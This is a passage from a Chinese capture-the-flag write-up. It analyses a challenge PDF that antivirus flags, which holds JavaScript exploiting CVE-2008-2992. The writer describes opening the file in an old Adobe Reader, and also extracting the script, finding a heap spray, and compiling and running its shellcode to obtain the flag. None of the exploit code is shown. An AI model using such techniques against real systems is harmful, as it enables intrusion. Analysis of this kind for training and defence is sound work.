下载pdf后,杀毒软件会报毒,用PDFStreamDumper打开,发现有一段javascrip脚本。用Format javascript – javascript UI,提示cve-2008-2992,我们下载一个小于8.1.2版本的adobe reader 打开pdf,成功弹出flag:
解法二:
一个pdf 文件,第一感觉和之前火眼的一个题目类似。用jsunpack-n 提取pdf 中的js 代
码。
变量替换之后,发现就是个堆喷。
后面提取shellcode。提取出来后shellcode 反汇编如下:
直接把shellcode转成c语言16进制字符串形式,编译,运行,直接出了flag:
第五题
参加